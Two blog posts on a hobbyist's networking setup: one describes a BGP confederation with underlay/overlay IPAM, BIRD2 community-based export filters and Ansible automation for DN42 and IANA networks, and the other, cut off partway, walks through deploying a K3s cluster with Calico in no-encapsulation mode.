DN42&OneManISP – Confederation, Automation, IPAM and Overlay Network This article does not go into implementation details in depth; it only records the internal network architecture design process and automation ideas. If you need reference code or configuration files, please see iYoRoy-Network/bird2-config: BIRD2 Configuration for iYoRoy Network (AS4242422024, AS205369). The repository contains a significant amount of AI-generated code. This article only borrows the logical layering concept of Underlay/Overlay (base layer/business layer), specifically referring to the separation of address roles, and does not involve tunneling encapsulation technologies such as VXLAN/GRE. TL;DR The entire internal network architecture was refactored. What was originally a horizontally split network based on “DN42 / IANA / WireGuard / BIRD config files” was transformed into a set of infrastructure organised by network intent. The final design can be summarised as: Use WireGuard to carry underlay transport between nodes; Use BGP Confederation instead of OSPF / full-mesh iBGP as the internal routing backbone; Separate node identity and service addresses with Underlay / Overlay; Automatically derive AS, loopback and link-local addresses from Tier / Region / Node ID / Token; Use BGP Large Community to express route origin, propagation scope and export policy; Use Ansible to compile high-level peer intent into WireGuard + BIRD + interface configurations and deploy them automatically. Background In some earlier articles from these two series, we successfully brought up a DN42 AS and an IANA AS, with the same infrastructure carrying traffic for both networks simultaneously. In a previous post, DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment - iYoRoy's Develop Diary, there was already some initial separation and isolation for the two networks. However, as the number of nodes grew, manually maintaining the WireGuard and BIRD configuration files for this whole thing became more and more complex. Moreover, public network nodes also needed to interconnect and provide mutual IP transit, so in the end I decided to do a thorough refactoring of this entire internal network. Analysis Problems with the Old Architecture Before the refactoring, DN42 routes between nodes were mutually propagated, using OSPF over WireGuard as the IGP, with full-mesh iBGP on top to carry full routing information between border routers. For IANA traffic, nodes were completely isolated from each other, with each node independently advertising its own /48 IANA IPv6 prefix. To sum up: WireGuard was responsible for tunnels between nodes; OSPF over WireGuard was responsible for the IGP; DN42 border routers ran full-mesh iBGP on top; IANA nodes basically each independently advertised their own public prefixes. This architecture worked well when there were few nodes, but problems started to become apparent as the number of nodes increased: WireGuard, OSPF, and BIRD configurations had to be maintained separately; Adding a new node required changes in multiple places, making it easy to miss something; Routing policies for DN42 and IANA influenced each other, yet the configuration was scattered; Cross-PoP scheduling of IANA prefixes was not natural; Some nodes were only transit nodes but were forced to have an overlay identity; Source address selection, route leaks, and exposure of internal addresses became increasingly difficult to control. Design Goals and BGP Confederation The main goals for this refactoring were: Adding nodes should be simple: ideally, only the node identity and peer relationships need to be described; DN42, IANA and the internal backbone should be able to share infrastructure while remaining policy-isolated from each other; IP addresses should be schedulable resources, not fixed identities of nodes; The internal topology should not leak to external BGP peers; Configurations should be generated from declarative data, not by handwriting lots of repetitive WireGuard/BIRD sessions; The deployment process should be automated. There were also several other, more detailed requirements: Some IANA nodes should be able to carry IP transit for other nodes, using an IANA PoP to advertise public IPs for other nodes; Currently, the IANA AS is maintained jointly by たのしい and myself; we need to coordinate, with some infrastructure needing mutual transit and route tuning; We only have one 44Net IPv4 /24 (sponsored by たのしい); if we want to advertise it, all nodes would need iBGP interconnection and an IGP, otherwise only a single PoP can use it; The IANA AS needs to accept downstreams; Route optimization is needed between IANA PoPs. The previous IANA IPv6 prefix assignment rule followed Continent 3 bits + Region 3 bits + Multi-node within region 2 bits, carving several /48s out of a complete /40. However, due to certain upstream limitations on the number of advertised prefixes, and because such fragmented prefixes are unfavourable for IPAM, we planned to eventually aggregate external advertisements only to the continent level, and then handle more detailed parts via internal iBGP routing. The internal network structure on たのしい's side is BGP Confederation, implemented with a manually simulated approach. Actually, after this analysis, defining the internal network architecture became quite straightforward: the most suitable solution was to switch the internal network to BGP Confederation as well, and then utilise the concept of "BGP as IGP" to advertise /32 and /128 routes within the confederation to handle internal routing. At the same time, because a confederation avoids the split-horizon characteristic of traditional iBGP, it doesn't require strict full-mesh, nor does it need separate iBGP instances, making it very decentralized xD. Furthermore, BGP Confederation can be easily merged with たのしい's infrastructure, requiring only that both sides treat the other's internal ASes as confederation ASes. This solution has another benefit, because the containment relationship of our infrastructure is actually like this: graph subgraph 4242423377 Infrastructure 3377_DN42_PoP[DN42 PoP] 3377_IANA_PoP[IANA PoP] end subgraph 4242422024 Infrastructure 2024_DN42_PoP[DN42 PoP] 2024_IANA_PoP[IANA PoP] end 3377_IANA_PoP <==Cross-Infra Confederation==> 2024_IANA_PoP 3377_DN42_PoP <--> DN42 <--> 2024_DN42_PoP 3377_IANA_PoP <--> IANA <--> 2024_IANA_PoP Our DN42 PoPs and transit are isolated, but the IANA PoPs and transit are interconnected. In the BGP Confederation scenario, we can use filters + BGP (Large) Community to isolate route origins while still exchanging IANA traffic engineering intents, achieving a single standard usable across both infrastructures. Overlay and IPAM In the old design, a node often simultaneously held two identities: It was a router in the network; It was also a service address holder reachable within DN42 / IANA. After the refactoring, I decided to separate these two identities: Underlay: the node's identity as a router, used for internal interconnection, next-hop, tunnels, and forwarding; Overlay: the DN42 / IANA address used when the node provides services to the outside world or accepts traffic. This way, a node can only participate in forwarding without having a DN42 IPv4 address; it can also temporarily announce a certain overlay /32 or /128 when needed. In practical application scenarios, my DN42 address space is not very abundant; I originally registered a /28, with only 16 usable addresses. Some nodes, like IEPL tunnel nodes or IX nodes, only perform forwarding roles, do not need to host services, and do not need to be connected from the outside. Therefore, theoretically they do not need to be assigned independent, reachable DN42/IANA addresses. Moreover, since we had already decided to switch the internal network to BGP Confederation, based on this configuration we could re-plan the originally horizontally split DN42 + IANA network structure into a vertical Underlay + Overlay division. DN42 and IANA addresses/traffic become the payload of the upper-layer Overlay Network, while the lower-layer Underlay Network serves as the infrastructure for underlying communication and forwarding between nodes. In this scenario, IP addresses become resources that can be easily scheduled within the internal network, rather than unique IDs bound to a node. The advantages are clear: Saves scarce address resources: transit nodes can have only an underlay identity, without needing DN42 IPv4 or public addresses; Anycast and address migration: Overlay addresses become resources schedulable via BGP, no longer tightly bound to a specific machine; Hides transit nodes: pure transit nodes do not need to expose globally reachable addresses, making it harder for outsiders to directly probe the internal topology; Easy new node onboarding: new nodes join the underlay first, and overlay addresses are assigned when they need to carry services; Elegant transit delivery: IANA PoPs can deliver customer prefixes or service addresses to other nodes via the internal confederation. Design In summary, the final design consisted of the following IPAM mechanism and automation workflow. Each node possesses some basic metadata: Tier: indicates the node's purpose, e.g., backbone, IX access, or intra-net node Region: the continent region where the node is located ID: the node's ID within that region Token: a random 16-bit string assigned to the node, used as a unique ID for the node under IPv6 For Tier and Region, several tables were created as data sources: Tier Desc 1 Backbone 2 IX 3 Backbone + IX Mixed 9 Node Region Desc 0 Reserved 1 Asia 2 Europe 3 Africa 4 North America 5 South America 6 Oceania 7 Antarctica Confederation AS: 4220240000 – 4220249999 Assignment rule: 422024{tier}{region}{node_id:02d} Where tier indicates the node's purpose, region indicates the area where the node is located, and the last two digits node_id distinguish different nodes within the same region. Underlay IPAM IPv4 Prefix: 100.64.0.0/16 Assignment rule: 100.64.{tier*10 + region}.{node_id}/32 IPv6 Prefix: fd18:3e15:61d0:ffff::/64 Assignment rule: fd18:3e15:61d0:ffff:{tier}:{region}::{node_token}/128 To simplify the automation workflow, I also intended to bring the link-local addresses between WireGuard tunnels under automated management, generating them using the aforementioned Tier, Region, and Token, with the automation scripts generating WireGuard configuration and automatically setting up the tunnel and confederation BGP session. The link-local assignment rule generally follows the normal IPv6 rule: fe80::2024:{tier}:{region}:{node_token}/64 Thus, each node only needs to be assigned its metadata to automatically generate the internal network confederation AS and addresses according to the rules above. Overlay IPAM The DN42 IPv4 part is assigned manually. This part has some historical legacy architecture, and changes need to be merged into the official registry, so I plan to assign it manually. The Underlay IPv6 is itself DN42-reachable; if other DN42 IPv6 addresses need to be allocated, they can simply be advertised on demand. For IANA IPv6, the current design format is to first calculate the continent /43 according to the initially proposed rule, e.g., for Asia: 2a14:7583:f220::/43 Then calculate the /46 based on the region, e.g., for Hong Kong region HKG: 2a14:7583:f224::/46 Next, bits from /46 to /112 are set to zero, and the last 16 bits are filled with the node Token to serve as the node's IANA IPv6 address. For example, one of my backbone nodes in Hong Kong: 2a14:7583:f224::7d89/128 Community Isolation Mechanism In this architecture, BGP Large Community effectively acts as the metadata and control information carried along with a route as it propagates between different modules and infrastructures. Based on this metadata, when we export routes to different external peers we can determine: Does it belong to DN42 or IANA? Is it locally originated, brought in by a downstream, learned from a peer, or learned from an upstream? Can it be exported to other ASes? Is it underlay-only? Does this route need AS prepending? As a concrete example, if the first identifier marks the route origin/destination as DN42 or IANA, all routes permitted to be sent to DN42 will be tagged with: (4242422024, 1, 1) Similarly, all routes destined for IANA will be tagged with: (205369, 1, 1) Within various protocols, this acts as a master switch, controlling whether export should occur. IANA upstream export filter: template bgp iana_upstream_v6 { ... ipv6 { ... import filter { if !iana_filter_default_check() then reject; # basic check remove_confederation_as(); # remove confederation as to prevent external peers from maliciously carrying internal as remove_private_community(); # remove private community to prevent external peers from maliciously manipulating internal routes iana_upstream_add_community(); # tag all routes from IANA with community permitting broadcast in IANA infrastructure accept; }; export filter { if !iana_filter_default_check() then reject; # basic check if !iana_upstream_check_community() then reject; # check community: is this a route destined for IANA / does it carry no-advertise/no-export etc. remove_confederation_as(); # remove confederation as remove_private_community(); # remove private community accept; }; ... }; ... } Where iana_filter_default_check() is used to check prefix length, ROA, whether it is a default route, and other miscellaneous content: function iana_filter_default_check(){ if net ~ [::/0] then return false; if net.len > 48 then return false; if bgp_large_community ~ [(IANA_OWNAS,1,1)] && is_self_iana_v6() then return true; if roa_check(iana_roa_v6, net, bgp_path.last) = ROA_INVALID then return false; return true; } remove_confederation_as(), as the name suggests, removes internal confederation ASes: function remove_confederation_as() {     bgp_path.delete([4220240000..4220249999]); # 4242422024 Infrastructure     bgp_path.delete([4233770000..4233779999]); # 4242423377 Infrastructure } remove_private_community(), as the name suggests, removes internal Communities. The current implementation is very rough and needs detailed refinement later, because some Communities should be open to downstreams, allowing them to use Communities to convey routing intents and perform optimizations, such as prepending AS path, which can be used for route tuning or traffic engineering: function remove_private_community(){     bgp_large_community.delete([(4242422024, *, *)]);     bgp_large_community.delete([(205369, *, *)]); } iana_upstream_add_community(), tags all routes from upstream with the Community allowing circulation in the IANA infrastructure, as well as a route source identifier: function iana_upstream_add_community(){     bgp_large_community.add((205369,1,1));     bgp_large_community.add((205369,2,102)); } Where (205369,2,102) identifies the route as coming from an upstream. Route sources are divided into three types: Upstream, Peer, Downstream/Customer/Self (treated as customer). For these three different types of BGP sessions, the exported routes usually differ: To upstream: we need the upstream to advertise our own prefixes and our downstreams' prefixes, so all routes originating from downstream should be exported to upstream. To downstream: we need to provide network services, so we need to export all routes we know, i.e., routes from upstream, peer, downstream. To peer: peering connections are solely for both parties to access each other's networks, so we must not export each other's upstreams or peers, otherwise it becomes free transit/tunneling. Therefore, only routes from downstream are exported. Correspondingly in the current internal network, routes from peers are tagged (205369,2,101), and routes from downstreams are tagged (205369,2,100). iana_upstream_check_community() checks the route's Community, and based on the principles above, judges whether it should be advertised to upstream: function iana_upstream_check_community(){ if !(bgp_large_community ~ [(205369,1,1)]) then return false; # not permitted for broadcast in IANA infrastructure, reject if bgp_large_community ~ [(205369,65535,65282)] then return false; # no-advertise if bgp_large_community ~ [(205369,65535,65281)] then return false; # no-export if bgp_community ~ [(65535,65281)] then reject; # no-advertise if bgp_community ~ [(65535,65282)] then reject; # no-export if bgp_large_community ~ [(205369,2,0)] then return false; # from internal network, this community is used to identify routes from the internal network that should not be advertised externally, reject here if bgp_large_community ~ [(205369,2,101)] then return false; # from peer, reject advertisement if bgp_large_community ~ [(205369,2,102)] then return false; # from upstream, reject advertisement return true; } Similarly, a similar check mechanism applies to DN42. Based on this mechanism, isolating the DN42 and IANA networks becomes very straightforward. The above is just a general explanation; finer community design and various export policies could be further elaborated, but that would turn into another article on routing policy details. This part actually draws heavily from たのしい’s BGP Communities; after all, both infrastructures need to interoperate, and many community specifications are basically copied. Thanks to たのしい for providing the ideas~ Route Lifecycle Phase 1: Ingress / Import When all external routes enter the system, they first pass through the import filter of the corresponding domain. IANA has three types of sources: upstream; peer / IX; downstream. DN42 also has two main types of sources: regular transit / eBGP peer; IX / route server. In addition, the local machine also originates some routes: underlay loopback; DN42 overlay address; IANA own / anycast address. These routes are tagged with Large Communities upon entering the confederation. All subsequent filters must be adjusted based on this. Phase 2: Core / Intra Confederation After entering the BIRD RIB, routes propagate between nodes via the internal Intra BGP Confederation. Here, Intra Confederation is not just about handling connectivity, but more importantly, allowing internal routes to carry policy information as well. The previous OSPF was great at solving: Where is this loopback? How to reach this next-hop? But it could not convey AS information and policy intents, for example: This route was learned from an IANA peer and must not be exported to another peer; This route is DN42 underlay-only and must never be leaked to eBGP; This route is a downstream customer prefix and can be exported to upstream. All of these are strengths of BGP policy. So moving the internal backbone from OSPF / full-mesh iBGP to confederation-style BGP is essentially upgrading the internal control plane to a "policy-carryable control plane". Phase 3: Egress / Export When a route is about to leave the infrastructure, it passes through the export filter again. Here, based on communities, systemic prevention of route leaks and macro-control like AS prepending can be performed. For example: DN42 underlay routes carry an underlay-only community and thus are not exported to DN42 eBGP; Routes learned from an IANA upstream are not exported to another upstream; Routes learned from an IANA peer are not exported to another peer; Routes learned from a DN42 IX are not exported back to IX; NO_EXPORT / NO_ADVERTISE are respected; Before external export, internal confederation ASes and private communities are removed. In summary, it can be illustrated by this diagram: flowchart LR classDef ext fill:#eef7ff,stroke:#5b8def,stroke-width:1px; classDef local fill:#f5f5f5,stroke:#888,stroke-width:1px; classDef filter fill:#fff3d6,stroke:#d19a00,stroke-width:1px; classDef core fill:#eaf8ea,stroke:#3c9b43,stroke-width:1px; classDef export fill:#fdecec,stroke:#d45a5a,stroke-width:1px; subgraph SRC["Route Source"] direction TB IU["IANA upstream<br/>transit / full routes"] IP["IANA peer / IX"] ID["IANA downstream<br/>customer prefixes"] DT["DN42 transit / eBGP peer"] DX["DN42 IX / route server"] LU["Local underlay loopback<br/>100.64.x.y / fd18:...:ffff"] LO["Local overlay address<br/>DN42 own / IANA own / anycast"] end subgraph INFRA["Bird2-Configuration Infrastructure"] direction LR subgraph IMPORT["Ingress / Import filters"] direction TB IUF["IANA upstream import<br/>tag: 205369:1:1<br/>tag: 205369:2:102"] IPF["IANA peer import<br/>tag: 205369:1:1<br/>tag: 205369:2:101"] IDF["IANA downstream import<br/>AS-SET / path check<br/>tag: 205369:2:100"] DTF["DN42 eBGP import<br/>prefix / ROA / self check<br/>tag: 4242422024:2:101/102"] DXF["DN42 IX import<br/>prefix / ROA check<br/>tag: 4242422024:2:101"] STF["Static origin<br/>underlay / overlay route tags"] end META["Large Community metadata layer<br/>domain + source + scope<br/>internal route API"] subgraph CORE["Internal control plane"] direction TB RIB["BIRD RIB"] CONFED["Intra BGP Confederation<br/>member AS: 422024xxxx<br/>policy: full / default / iana_full / no_iana"] WG["WireGuard underlay transport<br/>link-local next-hop<br/>fwmark policy routing"] UNDERLAY["net_underlay<br/>loopback + table 1142"] OVERLAY["net_overlay<br/>DN42 / IANA service addresses"] end subgraph EGRESS["Egress / Export filters"] direction TB DEXP["DN42 eBGP export<br/>reject underlay-only<br/>respect no-export/no-advertise"] DXEXP["DN42 IX export<br/>reject peer/transit learned routes"] IEXP["IANA upstream / peer export<br/>export local/downstream only<br/>reject peer/upstream learned"] DOWNEXP["IANA downstream export<br/>policy: default / own_only / reject"] KEXP["Kernel export<br/>krt_prefsrc by community"] CLEAN["cleanup before external export<br/>remove confed AS<br/>remove private communities"] end end subgraph DST["Route Destination"] direction TB OD["DN42 peers / transit"] OX["DN42 IX"] OI["IANA upstream / peer"] OC["IANA downstream"] KF["Linux kernel FIB<br/>actual packet forwarding"] end IU --> IUF IP --> IPF ID --> IDF DT --> DTF DX --> DXF LU --> STF LO --> STF IUF --> META IPF --> META IDF --> META DTF --> META DXF --> META STF --> META META --> RIB RIB <--> CONFED CONFED --- WG WG --- UNDERLAY RIB --- OVERLAY RIB --> DEXP RIB --> DXEXP RIB --> IEXP RIB --> DOWNEXP RIB --> KEXP DEXP --> CLEAN --> OD DXEXP --> CLEAN --> OX IEXP --> CLEAN --> OI DOWNEXP --> CLEAN --> OC KEXP --> KF class IU,IP,ID,DT,DX ext; class LU,LO local; class IUF,IPF,IDF,DTF,DXF,STF filter; class META,RIB,CONFED,WG,UNDERLAY,OVERLAY core; class DEXP,DXEXP,IEXP,DOWNEXP,KEXP,CLEAN export; class OD,OX,OI,OC,KF ext; Automation: Compiling Network Intent into Configuration All the above discussion on IPAM, Confederation AS, Underlay/Overlay, and BGP Communities would not truly solve the problem if it still ended up being maintained by hand-written configurations; it would just move the complexity from one form to another. Before this refactoring, adding a new node or peer often required simultaneous changes in many places: WireGuard configuration: interface name, listen port, peer public key, endpoint, allowed IPs BIRD configuration: BGP protocol name, neighbor address, neighbor interface, ASN, import/export filter IPAM-related configuration: loopback, link-local, router id, overlay address Deployment-related configuration: which nodes need rendering, which services need restarting Some special cases: nodes behind NAT, passive peers, special local AS, special filters Logically, these things describe the same thing: a connection belonging to a certain routing domain exists between two nodes. But in manual configuration, they end up scattered across WireGuard, BIRD, network interfaces, systemd/openrc, and other places. If just one field is missed or inconsistent, very strange problems can occur, such as WireGuard being up but BIRD neighbor pointing to the wrong interface; or the link-local being changed, but the peer session still having the old address. So in this refactoring, I didn't want Ansible to just be a tool that "fills YAML into Jinja2 templates". If we simply moved the original hand-written config into templates, we would essentially still be maintaining a pile of low-level configurations, just in a different file format. Since automation was introduced, the input should not be "I want to generate a configuration file that looks like this", but rather: Who is this node? Which tier / region does it belong to? Who does it interconnect with? Does this connection belong to DN42, IANA or Intra? What import/export policy should this connection use? Does it have special constraints like NAT, passive, endpoint override? As for the specific WireGuard interface wording, how the BIRD session is written, what the link-local address is – all these should, as much as possible, be generated by the automation system based on rules. Source of Truth: Node State, Not Config Files The input for this automation is mainly placed in Ansible's host_vars. The variables for each node are no longer just parameters needed for template rendering, but the description of the node's identity in the network. For example, a node will have at least: tier: node tier, e.g., backbone, IX, normal node region: region where the node is located node_id: node number within the same region node_token: a stable 16-bit token used to generate the IPv6 address suffix These fields are used for IPAM address management and identification information within the Confederation (as mentioned earlier, AS calculation and IP address derivation). The advantage of this approach is that when a new node joins, we just need to configure its basic metadata, and all its fundamental identities within the underlay are already determined. This significantly reduces subsequent maintenance effort. If link-local addresses were handwritten in every BIRD session, then any change to a node's token or address rule would require changes on all peers; but if the BIRD neighbor address is automatically derived from the peer node's metadata, it always stays consistent with the source of truth. Domain Intent: Declarative Peer Configuration The most important abstraction in this automation is Domain Intent, which treats the Session and its corresponding WireGuard tunnel binding as a single entity, then partitions them by the network type (DN42/IANA/Intra). Taking an Intra peer as an example, an internal connection fundamentally requires two types of configuration simultaneously: WireGuard interface, to provide the transport tunnel BIRD BGP session, to exchange routes over this tunnel If maintained manually, these two parts easily duplicate the same information: interface name peer node listen port endpoint neighbor interface BGP protocol name import/export policy So we abstract a regular Intra peer into a single peer intent. Simplified, it looks something like this: - node: tyo03-jp interface: intra_tyo03 wireguard: listen_port: 10234 passive: true bgp: protocol: intra_ibgp_tyo03 ipv4: import_policy: full export_policy: full ipv6: import_policy: full export_policy: full This declaration does not directly correspond to a single configuration file, but describes the peer intent: There is an internal connection named intra_tyo03 between the current node and tyo03-jp. This connection uses WireGuard for transport, and establishes an Intra BGP session over it, with BGP policy using full. Afterwards, Ansible automatically renders the corresponding WireGuard and BIRD configuration based on this. Thus, a peer relationship only needs to be described once, and the subsequent low-level configuration is generated automatically. For example, the BIRD neighbor's link-local address does not need to be handwritten; it can be automatically obtained from the peer node's tier / region / node_token. The WireGuard endpoint can also be automatically derived from the peer's ansible_host in the inventory and the peer's return peer listen_port. The biggest advantage of this is avoiding state inconsistency between multiple configuration layers. Automatic Endpoint Derivation and Passive Peers In my internal network architecture, not all nodes have perfectly symmetric public reachability. For example, some nodes / DN42 peers are behind NAT and can only initiate connections; some tunnels require a fixed endpoint as the listener, with the other end initiating. Therefore, the peer intent must support special cases like passive listening. If a peer is not passive, the automation can attempt to read ansible_host from the peer's inventory, combine it with the listen_port declared by the peer, and automatically generate the WireGuard endpoint: endpoint = peer_ansible_host + ":" + peer_return_listen_port If the peer is marked as passive, no endpoint is rendered, allowing the peer to actively initiate the connection. Essentially, the endpoint is determined by "how the peer is accessed" and "which port the peer listens on". These two pieces of information already exist in the inventory and peer intent, so there's no need to duplicate them. Of course, for extremely unusual links, the most basic manual override for the endpoint is retained. The goal of automation is not to eliminate all edge cases, but to make the normal cases require no special handling. Generic Scenarios & Exceptions This is essentially a fallback mechanism for special cases: Legacy tunnels Special internal peers carried over DN42 Nodes behind NAT Temporary workarounds Peers requiring strange BGP parameters Certain sessions needing special local AS Some routes only intended for the IANA domain, not the DN42 domain The final design kept: most regular Intra peers can generate WireGuard + BIRD via domain intent. DN42 peer WireGuard can also be generated from DN42 peer intents. However, some special BIRD sessions, such as those requiring separate local_as or special export policies, can still be explicitly declared using low-level configuration. Before final rendering, Ansible merges the generated configuration and legacy/manual overrides into the final configuration. The benefit is that automation covers 90% of the repetitive and error-prone parts, while still leaving room for the remaining 10% of special cases. Configuration Rendering The entire rendering process can be roughly understood as: flowchart TD A[host_vars: node metadata + domain intent] --> B[materialize domain intent] B --> C[effective_wireguard_interfaces] B --> D[effective_intra_ibgp_sessions] C --> E[render wg-quick configs] D --> F[render BIRD intra sessions] A --> G[render BIRD root / DN42 / IANA modules] A --> H[render underlay / overlay interfaces] E --> I[.rendered-wireguard] F --> J[.rendered] G --> J H --> K[.rendered-network] There are three types of final artifacts: .rendered/: BIRD configuration .rendered-wireguard/: WireGuard configuration .rendered-network/: underlay / overlay dummy interface configuration The BIRD configuration is further divided into several modules, written via Jinja2 templates; the actual overlay network separation is also handled here: root config: global defines, includes, kernel protocol DN42 module: DN42 filters, RPKI, eBGP peers, IX peers IANA module: upstream, downstream, peers, RPKI, static routes Intra module: confederation-style BGP sessions, static routes, internal filters Whether these modules are included is also decided automatically based on data as much as possible. For instance, if a node has no DN42 peers, there's no need to render and include ebgp.conf; no IX sessions, no need to include ix.conf. This reduces empty configurations and meaningless includes, and avoids some nodes failing template rendering due to missing related variables. Validation & Deployment The final deployment process also added some check and validation stages: render BIRD validate BIRD render WireGuard validate WireGuard deploy dummy interfaces deploy WireGuard deploy BIRD BIRD configuration is rendered and validated locally first to catch syntax errors as early as possible. WireGuard configuration is also rendered and validated first to avoid missing keys or generating obviously invalid wg-quick configs. Finally, after all validations pass, the underlying interfaces + WireGuard are deployed, and only then is BIRD uploaded and reloaded. Conclusion I'm exhausted; this article has drained me. Why is narrating this architecture in linear language so difficult? After sorting things out, most of the code was basically written by AI, and the results were decent. If you need a reference, see bird2-config/ansible at dev · iYoRoy-Network/bird2-config. The applicable scenarios for this solution are actually quite narrow; the DN42 + IANA BGP Player scene is really too niche xD. Moreover, a major reason this solution can function properly is that the IANA prefixes and DN42, along with the address ranges chosen for my own internal network, do not conflict at all. If there were address conflicts in the transit segments, one would probably still need to consider proper ISP isolation solutions like VRF/MPLS L3VPN. References: Configure BGP Confederation & Fake Confederation in Bird (Updated 2020-06-07) - Lan Tian @ Blog 浅谈 BGP 中的 Transit（中转）与 Peering（对等互联） | 网络蝙蝠侠部落

Building a Cross-Region K3s Cluster from Scratch - Calico No-Encapsulation CNI # Preface I've actually wanted to play with a K8s cluster for a long time, but always felt that without sufficient knowledge, it would be too difficult to attempt. Recently, I spent some time studying DN42 and routing protocols like BGP and OSPF, and realized that it no longer feels so difficult. So I decisively started with K3s ( The main reason for choosing K3s over K8s is its lightweight nature: low resource requirements, no need to pull a bunch of images for deployment, availability of domestic mirrors… In short, K3s suits my needs better. I'm a beginner just starting to explore K3s, so please go easy on me if I make any mistakes~ # Analysis ## Choosing the CNI Component My current network architecture looks like this: ```mermaid graph TD subgraph ZeroTier Domestic subgraph WDS Gateway <--> VM1 Gateway <--> VM2 end NGB <--> Gateway HFE-NAS <--> Gateway NGB <--> HFE-NAS end subgraph IEPL Global-NIC <==OSPF==> CN-NIC end subgraph ZeroTier Global HKG02 <--> HKG04 TYO <--> HKG04 TYO <--> HKG02 end CN-NIC <--> NGB CN-NIC <--> HFE-NAS CN-NIC <--OSPF--> Gateway Global-NIC <--OSPF--> TYO Global-NIC <--OSPF--> HKG02 Global-NIC <--OSPF--> HKG04 %% Style definition: orange background, bold border to represent routers classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; class Global-NIC,CN-NIC,Gateway router; Among this, the WDS node is a Proxmox VE host with multiple VMs underneath. It advertises its VMs' IPv4 prefixes via OSPF. When Hong Kong nodes need to access a VM under the WDS node, they can do so by joining the OSPF internal network to achieve multi-hop reachability. This keeps the encapsulation layer count to only one, so there's no worry about MTU "disappearing act". I plan to create two new VMs under WDS to serve as the master and a node (temporarily called KubeMaster and KubeNode-WDS1). Then HKG04 (temporarily called KubeNode-HKG04) will also join the K3s cluster as a node. The simplest approach would be to use K3s's default Flannel as the CNI. However, Flannel is based on VXLAN, and adding another layer of my existing internal network would lead to the following MTU "disappearing act": Data packet -> Flannel VXLAN encapsulation -> ZeroTier encapsulation -> Physical link The actual usable MTU for inter-container communication would likely be compressed to 1350 or even lower. Therefore, I tried to find a CNI solution that can work directly on top of this internal network, and then I found Calico. As I understand, Calico uses BGP as its underlying routing protocol, supports starting in no-encapsulation (No-Encap) mode, and hands packets directly to the upper routers for routing. Thus, I chose Calico as the CNI component. Routing Design To ensure that intermediate routers know how to route Pod IPs, KubeMaster and KubeNode-WDS1 are under the Proxmox VE host. They need to establish BGP with HKG04 across the entire internal network. This means that every router at each intermediate level must learn the full BGP routes, so that the following routing path can be established: graph LR subgraph WDS KubeMaster KubeNode-WDS1 Gateway end subgraph IEPL CN-Namespace Global-Namespace end KubeNode-WDS1 <--> Gateway KubeMaster <--> Gateway <--> CN-Namespace <--> Global-Namespace <--> HKG04 %% Style definition: highlight nodes with routing capability classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; class Gateway,CN-Namespace,Global-Namespace router; Otherwise, any intermediate hop would drop packets because it doesn't recognize the source/destination IP. Also, due to the property of iBGP that routes learned from a neighbor cannot be propagated to the next iBGP neighbor, all BGP sessions between Gateway, CN-Namespace, Global-Namespace and the nodes need to enable Route Reflector; otherwise, nodes cannot correctly learn routes from each other. That said, this architecture would be more suitable for BGP Confederation, but my existing network is already quite complex, and adding BGP confederations would make later maintenance more troublesome. Moreover, my number of nodes is small, so the overhead of iBGP Full Mesh is acceptable. It's definitely not because I'm lazy (so Thus, the final network routing structure is as follows: graph TD subgraph WDS VM1 VM2 Gateway end subgraph IEPL CN-Namespace Global-Namespace end VM1 <-.Calico iBGP Full Mesh.-> VM2 VM1 <--iBGP Route Reflector--> Gateway VM2 <--iBGP Route Reflector--> Gateway <--iBGP--> CN-Namespace <--iBGP--> Global-Namespace <--iBGP Route Reflector--> HKG04 Gateway <--iBGP--> Global-Namespace HKG04 <-.Calico iBGP Full Mesh.-> VM1 VM2 <-.Calico iBGP Full Mesh.-> HKG04 %% Style definition classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; %% Mark nodes with routing/forwarding or RR functions as Router class Gateway,CN-Namespace,Global-Namespace router; The dashed-line BGP sessions are automatically created by Calico, while the solid-line parts need to be manually created by us. Keeping Calico's own iBGP Full Mesh is for future scalability, so that nodes can preferentially establish direct P2P connections via ZeroTier instead of taking a detour through the Route Reflector aggregation router. Deployment After clarifying the structure, deployment becomes simple. Enable Kernel Forwarding and Disable rp_filter Standard practice. echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf echo "net.ipv6.conf.default.forwarding=1" >> /etc/sysctl.conf echo "net.ipv6.conf.all.forwarding=1" >> /etc/sysctl.conf echo "net.ipv4.conf.default.rp_filter=0" >> /etc/sysctl.conf echo "net.ipv4.conf.all.rp_filter=0" >> /etc/sysctl.conf sysctl -p Install K3s Master Because the KubeMaster control plane node is located inside China, it's best to configure image acceleration: mkdir -p /etc/rancher/k3s cat <<EOF > /etc/rancher/k3s/registries.yaml mirrors: docker.io: endpoint: - "https://docker.m.daocloud.io" quay.io: endpoint: - "https://quay.m.daocloud.io" EOF Install using the mirror: curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | \ INSTALL_K3S_MIRROR=cn INSTALL_K3S_EXEC=" \ --flannel-backend=none \ --disable-network-policy \ --cluster-cidr=10.42.0.0/16" sh - Note the need to specify --flannel-backend=none and --disable-network-policy to disable the default CNI component. Use cat /var/lib/rancher/k3s/server/node-token to view the token and record it. Worker Nodes For nodes inside China, configure image acceleration: mkdir -p /etc/rancher/k3s cat <<EOF > /etc/rancher/k3s/registries.yaml mirrors: docker.io: endpoint: - "https://docker.m.daocloud.io" quay.io: endpoint: - "https://quay.m.daocloud.io" EOF Then install K3s using the mirror and join the cluster: export INSTALL_K3S_MIRROR=cn export K3S_URL=https://<master node IP>:6443 # Replace with your master node's actual IP export K3S_TOKEN=K10...your token...::server:xxx # Replace with the full token obtained in the first step curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | sh - At this point, the status of each node should be NotReady because the CNI component is missing. Install Calico and Configure No-Encap Mode On the master, manually download https://raw.githubusercontent.com/projectcalico/calico/v3.26.1/manifests/tigera-operator.yaml and install the Calico operator: kubectl create -f tigera-operator.yaml Configure a custom resource by creating a custom-resource.yaml file: apiVersion: operator.tigera.io/v1 kind: Installation metadata: name: default spec: # Add image registry configuration registry: quay.m.daocloud.io calicoNetwork: ipPools: - blockSize: 26 cidr: 10.42.0.0/16 encapsulation: None natOutgoing: Enabled nodeSelector: all() Here, specify encapsulation: None to enable No-Encap mode. You can also modify the IPv4 CIDR here if needed. Then: kubectl apply -f custom-resource.yaml to perform the installation. Use: kubectl get pods -A -o wide to check Pod status, waiting for each node to finish pulling images. Configure BGP Topology Label Nodes Label nodes to specify that nodes under WDS connect to the 